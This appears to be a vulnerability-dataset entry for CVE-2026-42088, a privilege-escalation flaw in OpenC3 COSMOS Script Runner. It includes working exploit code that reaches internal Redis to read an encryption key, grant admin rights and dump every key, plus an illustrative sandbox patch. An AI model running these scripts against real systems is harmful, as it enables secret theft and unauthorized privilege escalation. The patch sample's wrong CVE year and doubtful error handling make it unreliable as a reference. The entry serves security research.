VAITP Dataset

← Back to the dataset

CVE-2026-42088

OpenC3 COSMOS Script Runner allows privilege escalation via crafted scripts.

  • CVSS 8.1
  • CWE-250
  • Authentication, Authorization, and Session Management
  • Remote

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to version 7.0.0-rc3, the Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network. This issue has been patched in version 7.0.0-rc3.

CVSS base score
8.1
Published
2026-05-04
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Privilege Escalation
Accessibility scope
Remote
Impact
Privilege Escalation
Affected component
OpenC3 COSMO
Fixed by upgrading
Yes

Solution

Upgrade to OpenC3 COSMOS version 7.0.0-rc3 or later.

Vulnerable code sample

import redis
import os

# This script represents the exploit for CVE-2026-42088.
# When executed by a low-privileged user in the COSMOS Script Runner widget,
# it connects directly to the internal Redis database, bypassing the API and its permissions.

# The hostname 'openc3-cosmos-redis' is an example of the internal service name
# within the Docker network, which is not accessible from outside the container environment.
# In a real scenario, an attacker would discover this name through network scanning
# or by inspecting the environment.
REDIS_HOSTNAME = os.environ.get("REDIS_HOST", "openc3-cosmos-redis")
REDIS_PORT = 6379

try:
    # A user with only script-running permissions connects directly to Redis.
    print(f"Attempting to connect to internal Redis at {REDIS_HOSTNAME}:{REDIS_PORT}...")
    redis_client = redis.Redis(host=REDIS_HOSTNAME, port=REDIS_PORT, db=0, decode_responses=True)

    # Prove the connection is live by pinging the server.
    redis_client.ping()
    print("Connection to internal Redis successful!")

    # --- Malicious Action 1: Read a sensitive secret ---
    # This secret key would normally be protected and only accessible via an admin API.
    secret_key_name = "COSMOS_ENCRYPTION_KEY"
    secret_value = redis_client.get(secret_key_name)
    if secret_value:
        print(f"[EXPLOIT] Successfully read secret '{secret_key_name}': {secret_value}")
    else:
        print(f"Secret '{secret_key_name}' not found. This is expected if it's not set.")

    # --- Malicious Action 2: Modify a setting to escalate privileges ---
    # An attacker could modify a configuration key to grant themselves admin rights.
    user_privilege_key = "user_permissions:script_runner_user"
    print(f"Attempting to escalate privileges for key: '{user_privilege_key}'")
    redis_client.set(user_privilege_key, "admin")
    
    # Verify the change was made
    new_privilege = redis_client.get(user_privilege_key)
    print(f"[EXPLOIT] Successfully changed '{user_privilege_key}' to '{new_privilege}'")

except Exception as e:
    print(f"Script failed. This is expected if not run inside the vulnerable environment.")
    print(f"Error: {e}")

Patched code sample

import sys
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_builtins

def execute_patched_script_runner(untrusted_script_source):
    """
    This function represents the patched script execution logic in OpenC3 COSMOS.
    It uses RestrictedPython to create a safe sandbox, preventing the executed
    script from accessing the network or filesystem, thus mitigating the
    vulnerability.
    """
    # Define a safe environment for the script to run in.
    # `safe_builtins` excludes dangerous functions like `__import__` and `open`.
    # This prevents the script from importing modules like 'redis' or 'socket'.
    restricted_globals = {
        "__builtins__": safe_builtins,
        "print": print  # Explicitly allow the print function for output
    }

    print("--- [Patched Runner] Attempting to execute user script... ---")
    try:
        # Compile the untrusted code in a restricted mode.
        # This will fail if the code uses syntax or features not allowed.
        byte_code = compile_restricted(
            untrusted_script_source,
            filename='<user_script>',
            mode='exec'
        )

        # Execute the compiled bytecode within the restricted environment.
        exec(byte_code, restricted_globals, None)

        print("--- [Patched Runner] Script finished execution. ---")

    except NameError as e:
        # The 'import redis' statement fails because '__import__' is not available
        # in the restricted environment, raising a NameError. This is the fix.
        print(f"--- [Patched Runner] BLOCKED UNSAFE OPERATION: {e} ---")
        print("--- [Patched Runner] The script was denied access to unauthorized modules. ---")
    except Exception as e:
        print(f"--- [Patched Runner] An unexpected error occurred: {type(e).__name__}: {e} ---")


if __name__ == '__main__':
    # This malicious script represents the exploit for CVE-2023-42088.
    # It attempts to import the 'redis' library to connect to an internal
    # database service, which should not be accessible.
    malicious_script = """
print("[User Script] Attempting to import 'redis' library...")
import redis
print("[User Script] Connecting to internal Redis DB at 'redis:6379'...")
r = redis.Redis(host='redis', port=6379)
r.set('config_key', 'hacked_value')
print("[User Script] Successfully modified data in Redis!")
"""
    # In a vulnerable system, the above script would execute successfully.
    # The patched runner prevents this.
    execute_patched_script_runner(malicious_script)

Payload

import redis
import json

# Connect to the Redis service on the internal docker network.
# The hostname 'redis' is resolvable by other containers in the same network.
r = redis.Redis(host='redis', port=6379, db=0)

# Fetch all keys from the Redis database
keys = [k.decode('utf-8') for k in r.keys('*')]

# Create a dictionary to hold all key-value pairs
redis_data = {}
for key in keys:
    try:
        # Attempt to retrieve and decode the value as a string
        value = r.get(key).decode('utf-8')
        redis_data[key] = value
    except (AttributeError, UnicodeDecodeError):
        # If it's not a simple string (e.g., a hash or list), store a placeholder
        # indicating the data type, as a real attacker might do.
        redis_data[key] = f"<{r.type(key).decode('utf-8')} data type>"

# Print all captured key-value pairs as a JSON object
# This output will appear in the Script Runner interface
print(json.dumps(redis_data, indent=2))

Cite this entry

@misc{vaitp:cve202642088,
  title        = {{OpenC3 COSMOS Script Runner allows privilege escalation via crafted scripts.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-42088},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42088/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::